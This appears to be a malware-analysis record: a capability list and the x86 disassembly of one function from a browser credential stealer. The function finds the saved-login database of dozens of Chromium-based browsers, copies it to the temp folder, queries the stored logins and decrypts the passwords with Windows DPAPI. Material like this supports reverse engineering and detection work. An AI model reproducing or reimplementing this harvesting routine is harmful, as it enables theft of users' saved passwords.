Function at 0x44248c
Capabilities:
Copy file
Delete file
Encrypt data using dpapi
Get common file path
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x186d4
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, esp
mov dword [esp + 0x186d0], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov esi, str.Login_Data
mov dword [esp + 0xc], eax
lea edi, [esp + 0x9c78]
mov dword [esp + 0x24], ecx
push 0x2705
lea eax, [esp + 0x9c87]
movsd dword es:[edi], dword [esi]
push 0
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.006390b0
add esp, 0xc
lea edi, [esp + 0x7568]
mov esi, str.select__from_logins_where_blacklisted_by_user0_
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], eax
push 0x1c
pop ebx
push 0xc
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x26de
push eax
lea eax, [esp + 0x75a2]
push eax
movsw word es:[edi], word [esi]
call fcn.006390b0
mov esi, dword [ebp + 8]
add esp, 0xc
mov dword [esp + 0x20], 3
mov edi, 0x2710
push 7
pop ecx
mov dword [esp + 0x1c], ecx
push 5
pop eax
mov dword [esp + 0x14], eax
cmp esi, ecx
jne 0x442542
mov ecx, str.MapleStudioChromePlusUser_DataDefault_
jmp 0x4428d0
cmp esi, 6
jne 0x442551
mov ecx, str.GoogleChrome_SxSUser_DataDefault_
jmp 0x4428d0
cmp esi, 9
jne 0x442560
mov ecx, str.ComodoDragonUser_DataDefault_
jmp 0x4428d0
cmp esi, 0xa
jne 0x44256f
mov ecx, str.ChromiumUser_DataDefault_
jmp 0x4428d0
cmp esi, 0xc
jne 0x44257e
mov ecx, str.TorchUser_DataDefault_
jmp 0x4428d0
cmp esi, eax
jne 0x44258c
mov ecx, str.FlockUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x10
jne 0x44259b
mov ecx, str.VivaldiUser_DataDefault_
jmp 0x4428d0
cmp esi, 0xb
jne 0x4425b1
lea eax, [esp + 0x7568]
mov ecx, str.select__from_wow_logins_where_blacklisted_by_user0_
jmp 0x4428d4
cmp esi, 0x15
jne 0x4425c0
mov ecx, str.OrbitumUser_DataDefault_
jmp 0x4428d0
cmp esi, 0xd
jne 0x4425cf
mov ecx, str.MicrosoftEdgeUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x19
jne 0x4425de
mov ecx, str.CocCocBrowserUser_DataDefault_
jmp 0x4428d0
push 0x1a
pop eax
cmp esi, eax
jne 0x4425ef
mov ecx, str.ChedotUser_DataDefault_
jmp 0x4428d0
cmp esi, ebx
jne 0x4425fd
mov ecx, str.Epic_Privacy_BrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x1d
jne 0x44260c
mov ecx, str.CCleaner_BrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x14
jne 0x44261b
mov ecx, str.BraveSoftwareBrave_BrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x21
je 0x442565
cmp esi, 0x2c
jne 0x442633
mov ecx, str.AVAST_SoftwareBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x2d
jne 0x442642
mov ecx, str.AVGBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x36
jne 0x442651
mov ecx, str.CentBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x3b
jne 0x442660
mov ecx, str.GhostBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x33
jne 0x44266f
mov ecx, str.CoowonCoowonUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x32
jne 0x44267e
mov ecx, str.CatalinaGroupCitrioUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x1f
jne 0x44268d
mov ecx, str.SlimjetUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x27
jne 0x44269c
mov ecx, str.uCozMediaUranUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x38
jne 0x4426ab
mov ecx, str.URBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x31
jne 0x4426ba
mov ecx, str.IridiumUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x3d
jne 0x4426c9
mov ecx, str.KinzaUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x22
jne 0x4426d8
mov ecx, str.7Star7StarUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x23
jne 0x4426e7
mov ecx, str.AmigoUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x24
jne 0x4426f6
mov ecx, str.Elements_BrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x25
jne 0x442705
mov ecx, str.KometaUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x26
jne 0x442714
mov ecx, str.SputnikSputnikUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x13
jne 0x442723
mov ecx, str.MaxthonApplicationUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x3e
jne 0x442732
mov ecx, str.SalamWebUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x3f
jne 0x442741
mov ecx, str.NaverNaver_WhaleUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x40
jne 0x442750
mov ecx, str.SwingBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x41
jne 0x44275f
mov ecx, str.BliskUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x42
jne 0x44276e
mov ecx, str.Opera_SoftwareOpera_NeonUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x49
jne 0x44277d
mov ecx, str.RafotechMustangUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x50
jne 0x44278c
mov ecx, str.SidekickUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x4e
jne 0x44279b
mov ecx, str.NetboxBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x4d
jne 0x4427aa
mov ecx, str.CryptoTab_BrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x4b
jne 0x4427b9
mov ecx, str.Mail.RuAtomUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x53
jne 0x4427c8
mov ecx, str.InsomniacBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x54
jne 0x4427d7
mov ecx, str.ViaSatViasat_BrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x55
jne 0x4427e6
mov ecx, str.SuperbirdUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x4f
jne 0x4427f7
mov ebx, eax
mov ecx, str.Opera_SoftwareOpera_Crypto_Developer_
jmp 0x4428d0
cmp esi, 0x56cd
jne 0x442851
push str.TencentQQBrowserUser_DataDefault_
lea eax, [esp + 0x3c]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [esp + 0x9c78]
push str.EncryptedStorage
push edi
push eax
call fcn.006494f3
add esp, 0xc
mov dword [esp + 0x1c], 0xb
mov dword [esp + 0x20], 0xa
lea eax, [esp + 0x7568]
mov dword [esp + 0x14], 4
mov ecx, str.select__from_entries_
jmp 0x4428d4
cmp esi, 0x16
jne 0x44285d
mov ecx, str.TencentQQBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x2f
jne 0x442869
mov ecx, str.AOLAOL_ShieldUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x56
jne 0x442877
mov ebx, eax
mov ecx, str.SSuite_OfficeNetSurfer_CacheEBWebViewDefault_
jmp 0x4428d0
cmp esi, 0x57
jne 0x442883
mov ecx, str.ZohoUlaaUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x59
jne 0x44288f
mov ecx, str.DcBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x5a
jne 0x44289d
mov ebx, eax
mov ecx, str.SogouExplorerWebkitDefault_
jmp 0x4428d0
cmp esi, 0x5b
jne 0x4428a9
mov ecx, str.TempestBrowserUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x5d
jne 0x4428b5
mov ecx, str.WaveboxAppUser_DataDefault_
jmp 0x4428d0
cmp esi, 0x60
jne 0x4428c1
mov ecx, str.360SecureBrowserChromeUser_DataDefault_
jmp 0x4428d0
mov ecx, str.GoogleChrome_BetaUser_DataDefault_
cmp esi, 0x58
je 0x4428d0
mov ecx, str.GoogleChromeUser_DataDefault_
lea eax, [esp + 0x38]
push ecx
push edi
push eax
call fcn.006494f3
mov edi, dword [esp + 0x18]
add esp, 0xc
test edi, edi
je 0x442912
mov ecx, edi
call fcn.00405670
test eax, eax
je 0x442cff
push edi
mov ebx, 0x2710
lea eax, [esp + 0x274c]
push ebx
push eax
call fcn.006494f3
add esp, 0xc
jmp 0x4429d2
lea eax, [esp + 0x2748]
push eax
push 0
push 0
push ebx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x442cff
lea eax, [esp + 0x38]
mov ebx, 0x2710
push eax
lea eax, [esp + 0x274c]
push ebx
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [esp + 0x2748]
call fcn.004055eb
test eax, eax
je 0x442cf9
lea eax, [esp + 0x2748]
push eax
lea eax, [esp + 0x15fcc]
push ebx
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [esp + 0x2748]
push eax
call fcn.00643470
pop ecx
cmp byte [esp + eax + 0x2747], 0x5c
je 0x4429a5
push 0x6c6438
lea eax, [esp + 0x274c]
push ebx
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [esp + 0x9c78]
push eax
lea eax, [esp + 0x274c]
push ebx
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [esp + 0x2748]
call fcn.00405670
test eax, eax
je 0x442cf9
lea eax, [esp + 0xc]
mov dword [esp + 0xc], ebx
push eax
lea eax, [esp + 0x138bc]
push eax
push ecx
lea eax, [esp + 0x2754]
push eax
call fcn.00441df6
neg eax
sbb eax, eax
and dword [esp + 0xc], eax
lea eax, [esp + 0xc388]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x9c78]
push eax
lea eax, [esp + 0xc38c]
push ebx
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [esp + 0xc388]
push 0
push eax
lea eax, [esp + 0x2750]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x442a4c
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x2748]
jmp 0x442a53
lea ecx, [esp + 0xc388]
push 0
push 1
lea edx, [esp + 0x20]
call fcn.004bffc8
pop ecx
pop ecx
test eax, eax
jne 0x442cff
lea eax, [esp + 0x7568]
push eax
call fcn.00643470
pop ecx
push 0
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x7570]
push 0
push 0x80
push eax
call fcn.0049d467
add esp, 0x14
test eax, eax
jne 0x442cff
mov edi, dword [esp + 0x10]
test edi, edi
je 0x442cff
push edi
mov byte [esp + 0xea9c], 0
mov byte [esp + 0x111ac], 0
mov byte [esp + 0x4e5c], 0
call fcn.0047234d
pop ecx
cmp eax, 0x65
je 0x442c6e
cmp eax, 0x64
jne 0x442c6e
push dword [esp + 0x1c]
push edi
call fcn.004728b2
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x442b1c
push ebx
call fcn.00643470
pop ecx
cmp eax, 0x2328
jbe 0x442b06
mov byte [ebx + 0x2328], 0
push ebx
lea eax, [esp + 0x111ac]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
push dword [esp + 0x20]
push edi
call fcn.004728b2
pop ecx
pop ecx
test eax, eax
je 0x442b42
push eax
lea eax, [esp + 0xea9c]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
push dword [esp + 0x14]
push edi
call fcn.004727c0
push dword [esp + 0x1c]
mov ebx, eax
push edi
call fcn.004727e7
add esp, 0x10
mov dword [esp + 0x10], eax
test ebx, ebx
je 0x442aae
test eax, eax
je 0x442aae
push 0x10
push 0x70f010
push ebx
call fcn.00639b07
add esp, 0xc
test eax, eax
jne 0x442bd8
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x48]
mov dword [esp + 0x48], edx
push eax
mov dword [esp + 0x50], ebx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x442bb5
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x442c1c
push dword [esp + 0x28]
lea eax, [esp + 0x4e5c]
push dword [esp + 0x30]
push eax
call fcn.00638b30
mov eax, dword [esp + 0x34]
mov byte [esp + eax + 0x4e64], 0
jmp 0x442c33
push 3
push 0x6cf718
push ebx
call fcn.00639b07
add esp, 0xc
test eax, eax
jne 0x442aae
mov eax, dword [esp + 0xc]
test eax, eax
je 0x442c1c
mov edx, dword [esp + 0x10]
push ecx
lea ecx, [esp + 0x4e5c]
push ecx
push eax
lea eax, [esp + 0x138c4]
mov ecx, ebx
push eax
call fcn.00442168
add esp, 0x10
test eax, eax
jne 0x442c36
push str._Password_cannot_be_recovered_
lea eax, [esp + 0x4e5c]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x2748]
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4e60]
push eax
lea eax, [esp + 0xeaa4]
push eax
lea eax, [esp + 0x111b8]
push eax
push 0x6c5bb9
push esi
push 1
call fcn.0043ee6b
jmp 0x442aae
mov esi, dword [edi]
mov ecx, edi
call fcn.00471953
test eax, eax
je 0x442c87
mov ecx, 0x15fb2
call fcn.004c0852
jmp 0x442cde
cmp dword [esi + 0xc], 0
je 0x442c97
push dword [esi + 0xc]
call dword [0x70f168]
pop ecx
cmp dword [edi + 0x8c], 0
jl 0x442cb4
jg 0x442cab
cmp dword [edi + 0x88], 0
jbe 0x442cb4
mov edx, edi
mov ecx, esi
call fcn.00471970
mov ecx, edi
call fcn.0047035b
mov ecx, edi
mov ebx, eax
call fcn.004704f6
cmp byte [esi + 0x57], 0
jne 0x442cce
test ebx, ebx
je 0x442cd7
mov edx, ebx
mov ecx, esi
call fcn.00451a83
mov ecx, esi
call fcn.004be94a
mov ecx, dword [esp + 0x18]
xor edx, edx
call fcn.004be7da
lea eax, [esp + 0xc388]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x442cff
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x186dc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.006122f0
mov esp, ebp
pop ebp
ret 8